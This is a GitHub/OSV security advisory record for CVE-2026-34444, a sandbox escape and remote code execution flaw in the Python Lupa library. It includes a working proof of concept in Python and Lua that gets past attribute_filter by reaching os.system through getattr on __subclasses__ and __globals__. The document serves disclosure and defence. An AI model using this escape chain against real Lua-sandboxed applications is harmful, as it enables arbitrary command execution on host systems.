CVE-2026-34444: Lupa Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-69v7-xpr6-6gjm",
  "modified" : "2026-05-06T23:26:55Z",
  "published" : "2026-04-07T15:48:13Z",
  "aliases" : [ "CVE-2026-34444" ],
  "summary" : "Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr",
  "details" : "### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n    if isinstance(attr_name, str) and attr_name.startswith('_'):\n        raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n    return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n    def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n    if tostring(c):find(\"os._wrap_close\") then\n        local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n        setattr(user, \"run\", system)\n        user.run(\"id\")\n    end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lupa"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34444"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/scoder/lupa"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-693" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-07T15:48:13Z",
    "nvd_published_at" : "2026-04-06T16:16:35Z"
  }
}